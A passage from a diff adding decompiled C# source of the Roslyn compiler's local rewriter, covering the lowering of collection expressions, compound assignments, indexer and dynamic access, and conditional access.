_factory.StoreToTemp(_factory.Literal(0), out store, (RefKind)0, (SynthesizedLocalKind)(-2), isKnownToReferToTempIfReferenceType: true); + instance.Add(indexTemp); + instance2.Add((BoundExpression)store); + AddCollectionExpressionElements(elements, boundLocal2, instance, numberIncludingLastSpread, instance2, delegate(ArrayBuilder expressions, BoundExpression spanTemp, BoundExpression rewrittenValue) + { + SyntaxNode syntax = rewrittenValue.Syntax; + TypeSymbol type = ((NamedTypeSymbol)spanTemp.Type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type; + expressions.Add((BoundExpression)new BoundAssignmentOperator(syntax, _factory.Call(spanTemp, spanGetItem, indexTemp), rewrittenValue, isRef: false, type)); + expressions.Add((BoundExpression)new BoundAssignmentOperator(syntax, indexTemp, _factory.Binary(BinaryOperatorKind.Addition, indexTemp.Type, indexTemp, _factory.Literal(1)), isRef: false, indexTemp.Type)); + }); + } + else + { + MethodSymbol addMethod = ((MethodSymbol)_factory.WellKnownMember((WellKnownMember)496)).AsMember(namedTypeSymbol); + AddCollectionExpressionElements(elements, boundLocal, instance, numberIncludingLastSpread, instance2, delegate(ArrayBuilder expressions, BoundExpression listTemp, BoundExpression rewrittenValue) + { + expressions.Add((BoundExpression)_factory.Call(listTemp, addMethod, rewrittenValue)); + }); + } + ImmutableArray locals = ArrayBuilderExtensions.SelectAsArray(instance, (Func)((BoundLocal l) => l.LocalSymbol)); + instance.Free(); + return new BoundSequence(node.Syntax, locals, instance2.ToImmutableAndFree(), boundLocal, namedTypeSymbol); + } + + private BoundExpression RewriteCollectionExpressionElementExpression(BoundExpression element) + { + BoundExpression node = ((element is BoundCollectionExpressionSpreadElement boundCollectionExpressionSpreadElement) ? boundCollectionExpressionSpreadElement.Expression : element); + return VisitExpression(node); + } + + private void RewriteCollectionExpressionElementsIntoTemporaries(ImmutableArray elements, int numberIncludingLastSpread, ArrayBuilder locals, ArrayBuilder sideEffects) + { + for (int i = 0; i < numberIncludingLastSpread; i++) + { + BoundExpression argument = RewriteCollectionExpressionElementExpression(elements[i]); + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(argument, out store, (RefKind)0, (SynthesizedLocalKind)(-2), isKnownToReferToTempIfReferenceType: true); + locals.Add(boundLocal); + sideEffects.Add((BoundExpression)store); + } + } + + private void AddCollectionExpressionElements(ImmutableArray elements, BoundExpression rewrittenReceiver, ArrayBuilder rewrittenExpressions, int numberIncludingLastSpread, ArrayBuilder sideEffects, Action, BoundExpression, BoundExpression> addElement) + { + for (int i = 0; i < elements.Length; i++) + { + BoundExpression boundExpression = elements[i]; + BoundExpression boundExpression2 = ((i < numberIncludingLastSpread) ? rewrittenExpressions[i] : RewriteCollectionExpressionElementExpression(boundExpression)); + if (boundExpression is BoundCollectionExpressionSpreadElement node) + { + BoundExpression boundExpression3 = MakeCollectionExpressionSpreadElement(node, boundExpression2, delegate(LocalRewriter _, BoundStatement iteratorBody) + { + BoundExpression arg = VisitExpression(((BoundExpressionStatement)iteratorBody).Expression); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + addElement(instance, rewrittenReceiver, arg); + ImmutableArray statements = ArrayBuilderExtensions.SelectAsArray(instance, (Func)((BoundExpression expr) => new BoundExpressionStatement(expr.Syntax, expr))); + instance.Free(); + return (statements.Length != 1) ? new BoundBlock(iteratorBody.Syntax, ImmutableArray.Empty, statements) : statements[0]; + }); + sideEffects.Add(boundExpression3); + } + else + { + addElement(sideEffects, rewrittenReceiver, boundExpression2); + } + } + } + + private BoundExpression GetKnownLengthExpression(ImmutableArray elements, int numberIncludingLastSpread, ArrayBuilder rewrittenExpressions) + { + int num = 0; + BoundExpression boundExpression = null; + for (int i = 0; i < numberIncludingLastSpread; i++) + { + BoundExpression boundExpression2 = elements[i]; + _ = rewrittenExpressions[i]; + if (boundExpression2 is BoundCollectionExpressionSpreadElement boundCollectionExpressionSpreadElement) + { + BoundCollectionExpressionSpreadExpressionPlaceholder expressionPlaceholder = boundCollectionExpressionSpreadElement.ExpressionPlaceholder; + AddPlaceholderReplacement(expressionPlaceholder, rewrittenExpressions[i]); + BoundExpression value = VisitExpression(boundCollectionExpressionSpreadElement.LengthOrCount); + RemovePlaceholderReplacement(expressionPlaceholder); + boundExpression = add(boundExpression, value); + } + else + { + num++; + } + } + num += elements.Length - numberIncludingLastSpread; + if (num > 0) + { + BoundLiteral boundLiteral = _factory.Literal(num); + boundExpression = ((boundExpression == null) ? boundLiteral : add(boundLiteral, boundExpression)); + } + return boundExpression; + BoundExpression add(BoundExpression? sum, BoundExpression boundExpression3) + { + if (sum != null) + { + return _factory.Binary(BinaryOperatorKind.Addition, sum.Type, sum, boundExpression3); + } + return boundExpression3; + } + } + + private BoundExpression MakeCollectionExpressionSpreadElement(BoundCollectionExpressionSpreadElement node, BoundExpression rewrittenExpression, Func getRewrittenBody) + { + ForEachEnumeratorInfo enumeratorInfoOpt = node.EnumeratorInfoOpt; + BoundConversion boundConversion = (BoundConversion)node.Conversion; + BoundCollectionExpressionSpreadExpressionPlaceholder expressionPlaceholder = node.ExpressionPlaceholder; + BoundValuePlaceholder elementPlaceholder = node.ElementPlaceholder; + BoundStatement iteratorBody = node.IteratorBody; + AddPlaceholderReplacement(expressionPlaceholder, rewrittenExpression); + LocalSymbol localSymbol = _factory.SynthesizedLocal(enumeratorInfoOpt.ElementType, node.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundLocal value = _factory.Local(localSymbol); + AddPlaceholderReplacement(elementPlaceholder, value); + BoundStatement rewrittenBody = getRewrittenBody(this, iteratorBody); + RemovePlaceholderReplacement(elementPlaceholder); + ImmutableArray iterationVariables = ImmutableArray.Create(localSymbol); + GeneratedLabelSymbol breakLabel = new GeneratedLabelSymbol("break"); + GeneratedLabelSymbol continueLabel = new GeneratedLabelSymbol("continue"); + BoundStatement item = ((!(boundConversion.Operand.Type is ArrayTypeSymbol arrayTypeSymbol)) ? RewriteForEachEnumerator(node, boundConversion, enumeratorInfoOpt, null, null, iterationVariables, null, null, breakLabel, continueLabel, rewrittenBody) : ((!arrayTypeSymbol.IsSZArray) ? RewriteMultiDimensionalArrayForEachEnumerator(node, boundConversion.Operand, null, null, iterationVariables, null, breakLabel, continueLabel, rewrittenBody) : RewriteSingleDimensionalArrayForEachEnumerator(node, boundConversion.Operand, null, null, iterationVariables, null, breakLabel, continueLabel, rewrittenBody))); + RemovePlaceholderReplacement(expressionPlaceholder); + _needsSpilling = true; + return _factory.SpillSequence(ImmutableArray.Empty, ImmutableArray.Create(item), _factory.Literal(0)); + } + + public override BoundNode VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node) + { + return VisitCompoundAssignmentOperator(node, used: true); + } + + private BoundExpression VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node, bool used) + { + BoundExpression loweredRight = VisitExpression(node.Right); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + BinaryOperatorKind kind = node.Operator.Kind; + bool isChecked = kind.IsChecked(); + bool isDynamic = kind.IsDynamic(); + BinaryOperatorKind binaryOperatorKind = kind.Operator(); + BoundExpression transformedLHS = TransformCompoundAssignmentLHS(node.Left, isRegularCompoundAssignment: true, instance2, instance, isDynamic); + BoundExpression boundExpression = MakeRValue(transformedLHS); + BoundExpression boundExpression2; + if (node.Left.Kind == BoundKind.DynamicMemberAccess && (binaryOperatorKind == BinaryOperatorKind.Addition || binaryOperatorKind == BinaryOperatorKind.Subtraction)) + { + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + ArrayBuilder instance4 = ArrayBuilder.GetInstance(); + BoundDynamicMemberAccess boundDynamicMemberAccess = (BoundDynamicMemberAccess)transformedLHS; + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(_dynamicFactory.MakeDynamicIsEventTest(boundDynamicMemberAccess.Name, boundDynamicMemberAccess.Receiver).ToExpression(), out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + instance3.Add(boundLocal.LocalSymbol); + instance4.Add((BoundExpression)store); + boundExpression = _factory.StoreToTemp(boundExpression, out BoundAssignmentOperator store2, (RefKind)0, (SynthesizedLocalKind)(-2)); + instance3.Add(((BoundLocal)boundExpression).LocalSymbol); + BoundAssignmentOperator store3; + BoundLocal boundLocal2 = _factory.StoreToTemp(_factory.Conditional(_factory.Not(boundLocal), store2, _factory.Null(store2.Type), store2.Type), out store3, (RefKind)0, (SynthesizedLocalKind)(-2)); + instance3.Add(boundLocal2.LocalSymbol); + instance4.Add((BoundExpression)store3); + if (CanChangeValueBetweenReads(loweredRight)) + { + loweredRight = _factory.StoreToTemp(loweredRight, out BoundAssignmentOperator store4, (RefKind)0, (SynthesizedLocalKind)(-2)); + instance3.Add(((BoundLocal)loweredRight).LocalSymbol); + instance4.Add((BoundExpression)store4); + } + LoweredDynamicOperation loweredDynamicOperation = _dynamicFactory.MakeDynamicEventAccessorInvocation(((binaryOperatorKind == BinaryOperatorKind.Addition) ? "add_" : "remove_") + boundDynamicMemberAccess.Name, boundDynamicMemberAccess.Receiver, loweredRight); + boundExpression2 = rewriteAssignment(boundExpression); + BoundExpression boundExpression3 = _factory.Conditional(boundLocal, loweredDynamicOperation.ToExpression(), boundExpression2, boundExpression2.Type); + boundExpression2 = new BoundSequence(node.Syntax, instance3.ToImmutableAndFree(), instance4.ToImmutableAndFree(), boundExpression3, boundExpression3.Type); + } + else + { + boundExpression2 = rewriteAssignment(boundExpression); + } + BoundExpression result = ((instance.Count == 0 && instance2.Count == 0) ? boundExpression2 : new BoundSequence(node.Syntax, instance.ToImmutable(), instance2.ToImmutable(), boundExpression2, boundExpression2.Type)); + instance.Free(); + instance2.Free(); + return result; + BoundExpression rewriteAssignment(BoundExpression leftRead) + { + SyntaxNode syntax = node.Syntax; + BoundExpression loweredLeft = leftRead; + if (!isDynamic && node.LeftConversion != null) + { + AddPlaceholderReplacement(node.LeftPlaceholder, leftRead); + loweredLeft = VisitExpression(node.LeftConversion); + RemovePlaceholderReplacement(node.LeftPlaceholder); + } + BoundExpression boundExpression4 = MakeBinaryOperator(syntax, node.Operator.Kind, loweredLeft, loweredRight, node.Operator.ReturnType, node.Operator.Method, node.Operator.ConstrainedToTypeOpt, isPointerElementAccess: false, isCompoundAssignment: true); + BoundExpression rewrittenRight = boundExpression4; + if (node.FinalConversion != null) + { + AddPlaceholderReplacement(node.FinalPlaceholder, boundExpression4); + rewrittenRight = VisitExpression(node.FinalConversion); + RemovePlaceholderReplacement(node.FinalPlaceholder); + } + return MakeAssignmentOperator(syntax, transformedLHS, rewrittenRight, node.Left.Type, used, isChecked, isCompoundAssignment: true); + } + } + + private BoundExpression? TransformPropertyOrEventReceiver(Symbol propertyOrEvent, BoundExpression? receiverOpt, bool isRegularCompoundAssignment, ArrayBuilder stores, ArrayBuilder temps) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + if (receiverOpt == null || propertyOrEvent.IsStatic || !CanChangeValueBetweenReads(receiverOpt)) + { + return receiverOpt; + } + BoundExpression boundExpression = VisitExpression(receiverOpt); + bool flag = boundExpression.Type.IsValueType || (int)boundExpression.Type.Kind == 17; + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression, out store, (RefKind)(flag ? 1 : 0), (SynthesizedLocalKind)(-2)); + temps.Add(boundLocal.LocalSymbol); + if (!isRegularCompoundAssignment && boundLocal.LocalSymbol.IsRef && CodeGenerator.IsPossibleReferenceTypeReceiverOfConstrainedCall(boundLocal) && !CodeGenerator.ReceiverIsKnownToReferToTempIfReferenceType(boundLocal)) + { + ReferToTempIfReferenceTypeReceiver(boundLocal, ref store, out BoundAssignmentOperator extraRefInitialization, temps); + if (extraRefInitialization != null) + { + stores.Add((BoundExpression)extraRefInitialization); + } + } + stores.Add((BoundExpression)store); + return boundLocal; + } + + private BoundDynamicMemberAccess TransformDynamicMemberAccess(BoundDynamicMemberAccess memberAccess, ArrayBuilder stores, ArrayBuilder temps) + { + if (!CanChangeValueBetweenReads(memberAccess.Receiver)) + { + return memberAccess; + } + BoundExpression argument = VisitExpression(memberAccess.Receiver); + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(argument, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + stores.Add((BoundExpression)store); + temps.Add(boundLocal.LocalSymbol); + return new BoundDynamicMemberAccess(memberAccess.Syntax, boundLocal, memberAccess.TypeArgumentsOpt, memberAccess.Name, memberAccess.Invoked, memberAccess.Indexed, memberAccess.Type); + } + + private BoundIndexerAccess TransformIndexerAccess(BoundIndexerAccess indexerAccess, bool isRegularCompoundAssignment, ArrayBuilder stores, ArrayBuilder temps) + { + BoundExpression receiverOpt = indexerAccess.ReceiverOpt; + BoundExpression rewrittenReceiver = VisitExpression(receiverOpt); + ImmutableArray rewrittenArguments = VisitArgumentsAndCaptureReceiverIfNeeded(ref rewrittenReceiver, CanChangeValueBetweenReads(receiverOpt) ? (isRegularCompoundAssignment ? ReceiverCaptureMode.CompoundAssignment : ReceiverCaptureMode.UseTwiceComplex) : ReceiverCaptureMode.Default, indexerAccess.Arguments, indexerAccess.Indexer, indexerAccess.ArgsToParamsOpt, indexerAccess.ArgumentRefKindsOpt, stores, ref temps); + return TransformIndexerAccessContinued(indexerAccess, rewrittenReceiver, rewrittenArguments, stores, temps); + } + + private BoundIndexerAccess TransformIndexerAccessContinued(BoundIndexerAccess indexerAccess, BoundExpression transformedReceiver, ImmutableArray rewrittenArguments, ArrayBuilder stores, ArrayBuilder temps) + { + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_0161: Unknown result type (might be due to invalid IL or missing references) + //IL_0167: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode syntax = indexerAccess.Syntax; + ImmutableArray argsToParamsOpt = indexerAccess.ArgsToParamsOpt; + ImmutableArray argumentRefKindsOpt = indexerAccess.ArgumentRefKindsOpt; + PropertySymbol indexer = indexerAccess.Indexer; + bool expanded = indexerAccess.Expanded; + ImmutableArray parameters = indexer.Parameters; + BoundExpression[] array = new BoundExpression[parameters.Length]; + ArrayBuilder instance = ArrayBuilder.GetInstance(rewrittenArguments.Length); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(parameters.Length, (RefKind)0); + BuildStoresToTemps(expanded, argsToParamsOpt, parameters, argumentRefKindsOpt, rewrittenArguments, forceLambdaSpilling: true, array, instance2, instance); + if (expanded) + { + BoundExpression argument = BuildParamsArray(syntax, argsToParamsOpt, rewrittenArguments, parameters, array[^1]); + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(argument, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + stores.Add((BoundExpression)store); + temps.Add(boundLocal.LocalSymbol); + array[^1] = boundLocal; + } + if ((object)indexer.GetOwnOrInheritedGetMethod() == null) + { + indexer.GetOwnOrInheritedSetMethod(); + } + if (indexer.ContainingType.IsComImport) + { + RewriteArgumentsForComCall(parameters, array, instance2, temps); + } + rewrittenArguments = ImmutableArrayExtensions.AsImmutableOrNull(array); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundAssignmentOperator current = enumerator.Current; + temps.Add(((BoundLocal)current.Left).LocalSymbol); + stores.Add((BoundExpression)current); + } + instance.Free(); + argumentRefKindsOpt = GetRefKindsOrNull(instance2); + instance2.Free(); + return new BoundIndexerAccess(syntax, transformedReceiver, (ThreeState)0, indexer, rewrittenArguments, default(ImmutableArray), argumentRefKindsOpt, expanded: false, default(ImmutableArray), default(BitVector), indexerAccess.Type); + } + + private BoundExpression TransformImplicitIndexerAccess(BoundImplicitIndexerAccess indexerAccess, bool isRegularCompoundAssignment, ArrayBuilder stores, ArrayBuilder temps, bool isDynamicAssignment) + { + if (TypeSymbol.Equals(indexerAccess.Argument.Type, _compilation.GetWellKnownType((WellKnownType)284), (TypeCompareKind)0)) + { + return TransformIndexPatternIndexerAccess(indexerAccess, isRegularCompoundAssignment, stores, temps, isDynamicAssignment); + } + throw ExceptionUtilities.UnexpectedValue((object)indexerAccess.Argument.Type); + } + + private BoundExpression TransformIndexPatternIndexerAccess(BoundImplicitIndexerAccess implicitIndexerAccess, bool isRegularCompoundAssignment, ArrayBuilder stores, ArrayBuilder temps, bool isDynamicAssignment) + { + BoundExpression underlyingIndexerOrSliceAccess = GetUnderlyingIndexerOrSliceAccess(implicitIndexerAccess, isLeftOfAssignment: true, isRegularCompoundAssignment, stores, temps); + if (underlyingIndexerOrSliceAccess is BoundIndexerAccess boundIndexerAccess) + { + return TransformIndexerAccessContinued(boundIndexerAccess, boundIndexerAccess.ReceiverOpt, boundIndexerAccess.Arguments, stores, temps); + } + BoundArrayAccess boundArrayAccess = (BoundArrayAccess)underlyingIndexerOrSliceAccess; + if (isDynamicAssignment || !IsInvariantArray(boundArrayAccess.Expression.Type)) + { + return SpillArrayElementAccess(boundArrayAccess.Expression, boundArrayAccess.Indices, stores, temps); + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundArrayAccess, out store, (RefKind)1, (SynthesizedLocalKind)(-2)); + stores.Add((BoundExpression)store); + temps.Add(boundLocal.LocalSymbol); + return boundLocal; + } + + private bool TransformCompoundAssignmentFieldOrEventAccessReceiver(Symbol fieldOrEvent, ref BoundExpression? receiver, ArrayBuilder stores, ArrayBuilder temps) + { + if (fieldOrEvent.IsStatic) + { + return true; + } + if (!CanChangeValueBetweenReads(receiver)) + { + return true; + } + if (!receiver.Type.IsReferenceType) + { + return false; + } + BoundExpression boundExpression = VisitExpression(receiver); + if (boundExpression.Type.IsTypeParameter()) + { + NamedTypeSymbol containingType = fieldOrEvent.ContainingType; + boundExpression = BoxReceiver(boundExpression, containingType); + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + stores.Add((BoundExpression)store); + temps.Add(boundLocal.LocalSymbol); + receiver = boundLocal; + return true; + } + + private BoundDynamicIndexerAccess TransformDynamicIndexerAccess(BoundDynamicIndexerAccess indexerAccess, ArrayBuilder stores, ArrayBuilder temps) + { + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiver; + if (CanChangeValueBetweenReads(indexerAccess.Receiver)) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(VisitExpression(indexerAccess.Receiver), out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + stores.Add((BoundExpression)store); + temps.Add(boundLocal.LocalSymbol); + receiver = boundLocal; + } + else + { + receiver = indexerAccess.Receiver; + } + ImmutableArray arguments = indexerAccess.Arguments; + BoundExpression[] array = new BoundExpression[arguments.Length]; + for (int i = 0; i < arguments.Length; i++) + { + if (CanChangeValueBetweenReads(arguments[i])) + { + BoundAssignmentOperator store2; + BoundLocal boundLocal2 = _factory.StoreToTemp(VisitExpression(arguments[i]), out store2, (RefKind)(((int)indexerAccess.ArgumentRefKindsOpt.RefKinds(i) != 0) ? 1 : 0), (SynthesizedLocalKind)(-2)); + stores.Add((BoundExpression)store2); + temps.Add(boundLocal2.LocalSymbol); + array[i] = boundLocal2; + } + else + { + array[i] = arguments[i]; + } + } + return new BoundDynamicIndexerAccess(indexerAccess.Syntax, receiver, ImmutableArrayExtensions.AsImmutableOrNull(array), indexerAccess.ArgumentNamesOpt, indexerAccess.ArgumentRefKindsOpt, indexerAccess.ApplicableIndexers, indexerAccess.Type); + } + + private BoundExpression TransformCompoundAssignmentLHS(BoundExpression originalLHS, bool isRegularCompoundAssignment, ArrayBuilder stores, ArrayBuilder temps, bool isDynamicAssignment) + { + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_011a: Unknown result type (might be due to invalid IL or missing references) + //IL_013f: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + switch (originalLHS.Kind) + { + case BoundKind.PropertyAccess: + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)originalLHS; + if ((int)boundPropertyAccess.PropertySymbol.RefKind == 0) + { + return boundPropertyAccess.Update(TransformPropertyOrEventReceiver(boundPropertyAccess.PropertySymbol, boundPropertyAccess.ReceiverOpt, isRegularCompoundAssignment, stores, temps), boundPropertyAccess.InitialBindingReceiverIsSubjectToCloning, boundPropertyAccess.PropertySymbol, boundPropertyAccess.ResultKind, boundPropertyAccess.Type); + } + break; + } + case BoundKind.IndexerAccess: + if ((int)((BoundIndexerAccess)originalLHS).GetRefKind() == 0) + { + return TransformIndexerAccess((BoundIndexerAccess)originalLHS, isRegularCompoundAssignment, stores, temps); + } + break; + case BoundKind.ImplicitIndexerAccess: + { + BoundImplicitIndexerAccess boundImplicitIndexerAccess = (BoundImplicitIndexerAccess)originalLHS; + if ((int)boundImplicitIndexerAccess.GetRefKind() == 0) + { + return TransformImplicitIndexerAccess(boundImplicitIndexerAccess, isRegularCompoundAssignment, stores, temps, isDynamicAssignment); + } + break; + } + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)originalLHS; + BoundExpression receiver2 = boundFieldAccess.ReceiverOpt; + if (TransformCompoundAssignmentFieldOrEventAccessReceiver(boundFieldAccess.FieldSymbol, ref receiver2, stores, temps)) + { + return MakeFieldAccess(boundFieldAccess.Syntax, receiver2, boundFieldAccess.FieldSymbol, boundFieldAccess.ConstantValueOpt, boundFieldAccess.ResultKind, boundFieldAccess.Type, boundFieldAccess); + } + break; + } + case BoundKind.ArrayAccess: + { + BoundArrayAccess boundArrayAccess = (BoundArrayAccess)originalLHS; + if (isDynamicAssignment || !IsInvariantArray(boundArrayAccess.Expression.Type)) + { + BoundExpression loweredExpression = VisitExpression(boundArrayAccess.Expression); + ImmutableArray loweredIndices = VisitList(boundArrayAccess.Indices); + return SpillArrayElementAccess(loweredExpression, loweredIndices, stores, temps); + } + break; + } + case BoundKind.DynamicMemberAccess: + return TransformDynamicMemberAccess((BoundDynamicMemberAccess)originalLHS, stores, temps); + case BoundKind.DynamicIndexerAccess: + return TransformDynamicIndexerAccess((BoundDynamicIndexerAccess)originalLHS, stores, temps); + case BoundKind.ThisReference: + case BoundKind.Local: + case BoundKind.PseudoVariable: + case BoundKind.Parameter: + return VisitExpression(originalLHS); + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)originalLHS; + BoundExpression receiver = boundEventAccess.ReceiverOpt; + if (boundEventAccess.EventSymbol.IsWindowsRuntimeEvent) + { + return boundEventAccess.Update(TransformPropertyOrEventReceiver(boundEventAccess.EventSymbol, boundEventAccess.ReceiverOpt, isRegularCompoundAssignment, stores, temps), boundEventAccess.EventSymbol, boundEventAccess.IsUsableAsField, boundEventAccess.ResultKind, boundEventAccess.Type); + } + if (TransformCompoundAssignmentFieldOrEventAccessReceiver(boundEventAccess.EventSymbol, ref receiver, stores, temps)) + { + return MakeEventAccess(boundEventAccess.Syntax, receiver, boundEventAccess.EventSymbol, boundEventAccess.ConstantValueOpt, boundEventAccess.ResultKind, boundEventAccess.Type); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)originalLHS.Kind); + case BoundKind.PointerIndirectionOperator: + case BoundKind.PointerElementAccess: + case BoundKind.FunctionPointerInvocation: + case BoundKind.RefValueOperator: + case BoundKind.AssignmentOperator: + case BoundKind.ConditionalOperator: + case BoundKind.Call: + case BoundKind.InlineArrayAccess: + break; + } + BoundExpression argument = VisitExpression(originalLHS); + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(argument, out store, (RefKind)1, (SynthesizedLocalKind)(-2)); + stores.Add((BoundExpression)store); + temps.Add(boundLocal.LocalSymbol); + return boundLocal; + } + + private static bool IsInvariantArray(TypeSymbol? type) + { + return (type as ArrayTypeSymbol)?.ElementType.IsSealed ?? false; + } + + private BoundExpression BoxReceiver(BoundExpression rewrittenReceiver, NamedTypeSymbol memberContainingType) + { + return MakeConversionNode(rewrittenReceiver.Syntax, rewrittenReceiver, Conversion.Boxing, memberContainingType, @checked: false, explicitCastInCode: false, rewrittenReceiver.ConstantValueOpt); + } + + private BoundExpression SpillArrayElementAccess(BoundExpression loweredExpression, ImmutableArray loweredIndices, ArrayBuilder stores, ArrayBuilder temps) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(loweredExpression, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + stores.Add((BoundExpression)store); + temps.Add(boundLocal.LocalSymbol); + BoundLocal array = boundLocal; + BoundExpression[] array2 = new BoundExpression[loweredIndices.Length]; + for (int i = 0; i < array2.Length; i++) + { + if (CanChangeValueBetweenReads(loweredIndices[i])) + { + BoundAssignmentOperator store2; + BoundLocal boundLocal2 = _factory.StoreToTemp(loweredIndices[i], out store2, (RefKind)0, (SynthesizedLocalKind)(-2)); + stores.Add((BoundExpression)store2); + temps.Add(boundLocal2.LocalSymbol); + array2[i] = boundLocal2; + } + else + { + array2[i] = loweredIndices[i]; + } + } + return _factory.ArrayAccess(array, array2); + } + + internal static bool CanChangeValueBetweenReads(BoundExpression expression, bool localsMayBeAssignedOrCaptured = true, bool structThisCanChangeValueBetweenReads = false) + { + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Invalid comparison between Unknown and I4 + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Invalid comparison between Unknown and I4 + if (expression.IsDefaultValue()) + { + return false; + } + if (expression.ConstantValueOpt != (ConstantValue)null) + { + return !ConstantValueIsTrivial(expression.Type); + } + switch (expression.Kind) + { + case BoundKind.ThisReference: + if (structThisCanChangeValueBetweenReads) + { + return ((BoundThisReference)expression).Type.IsStructType(); + } + return false; + case BoundKind.BaseReference: + return false; + case BoundKind.Literal: + return !ConstantValueIsTrivial(expression.Type); + case BoundKind.Parameter: + if (!localsMayBeAssignedOrCaptured) + { + return (int)((BoundParameter)expression).ParameterSymbol.RefKind > 0; + } + return true; + case BoundKind.Local: + if (!localsMayBeAssignedOrCaptured) + { + return (int)((BoundLocal)expression).LocalSymbol.RefKind > 0; + } + return true; + case BoundKind.TypeExpression: + return false; + default: + return true; + } + } + + internal static bool ReadIsSideeffecting(BoundExpression expression) + { + if (expression.ConstantValueOpt != (ConstantValue)null) + { + return false; + } + if (expression.IsDefaultValue()) + { + return false; + } + switch (expression.Kind) + { + case BoundKind.Literal: + case BoundKind.ThisReference: + case BoundKind.BaseReference: + case BoundKind.Local: + case BoundKind.Parameter: + case BoundKind.Lambda: + return false; + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)expression; + if (!boundConversion.ConversionHasSideEffects()) + { + return ReadIsSideeffecting(boundConversion.Operand); + } + return true; + } + case BoundKind.PassByCopy: + return ReadIsSideeffecting(((BoundPassByCopy)expression).Expression); + case BoundKind.ObjectCreationExpression: + if (expression.Type.IsNullableType()) + { + BoundObjectCreationExpression boundObjectCreationExpression = (BoundObjectCreationExpression)expression; + if (boundObjectCreationExpression.Arguments.Length == 1) + { + return ReadIsSideeffecting(boundObjectCreationExpression.Arguments[0]); + } + return false; + } + return true; + case BoundKind.Call: + { + BoundCall boundCall = (BoundCall)expression; + MethodSymbol method = boundCall.Method; + NamedTypeSymbol containingType = method.ContainingType; + if ((object)containingType != null && containingType.IsNullableType() && (IsSpecialMember(method, (SpecialMember)114) || IsSpecialMember(method, (SpecialMember)116))) + { + return ReadIsSideeffecting(boundCall.ReceiverOpt); + } + return true; + } + default: + return true; + } + } + + private static bool IsSpecialMember(MethodSymbol method, SpecialMember specialMember) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + method = method.OriginalDefinition; + return method.ContainingAssembly?.GetSpecialTypeMember(specialMember) == method; + } + + private static bool ConstantValueIsTrivial(TypeSymbol? type) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + if ((object)type != null && !SpecialTypeExtensions.IsClrInteger(type.SpecialType) && !type.IsReferenceType) + { + return type.IsEnumType(); + } + return true; + } + + public override BoundNode VisitConditionalAccess(BoundConditionalAccess node) + { + return RewriteConditionalAccess(node, used: true); + } + + public override BoundNode VisitLoweredConditionalAccess(BoundLoweredConditionalAccess node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter_ConditionalAccess.cs", 21); + } + + internal BoundExpression? RewriteConditionalAccess(BoundConditionalAccess node, bool used) + { + BoundExpression boundExpression = VisitExpression(node.Receiver); + TypeSymbol type = boundExpression.Type; + if (boundExpression.IsDefaultValue() && type.IsReferenceType) + { + return _factory.Default(node.Type); + } + ConditionalAccessLoweringKind conditionalAccessLoweringKind = (node.AccessExpression.Type.IsDynamic() ? ((!CanChangeValueBetweenReads(boundExpression)) ? ConditionalAccessLoweringKind.Conditional : ConditionalAccessLoweringKind.ConditionalCaptureReceiverByVal) : ConditionalAccessLoweringKind.LoweredConditionalAccess); + BoundExpression currentConditionalAccessTarget = _currentConditionalAccessTarget; + int id = ++_currentConditionalAccessID; + LocalSymbol localSymbol = null; + switch (conditionalAccessLoweringKind) + { + case ConditionalAccessLoweringKind.LoweredConditionalAccess: + _currentConditionalAccessTarget = new BoundConditionalReceiver(boundExpression.Syntax, id, type); + break; + case ConditionalAccessLoweringKind.Conditional: + _currentConditionalAccessTarget = boundExpression; + break; + case ConditionalAccessLoweringKind.ConditionalCaptureReceiverByVal: + localSymbol = _factory.SynthesizedLocal(type, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, 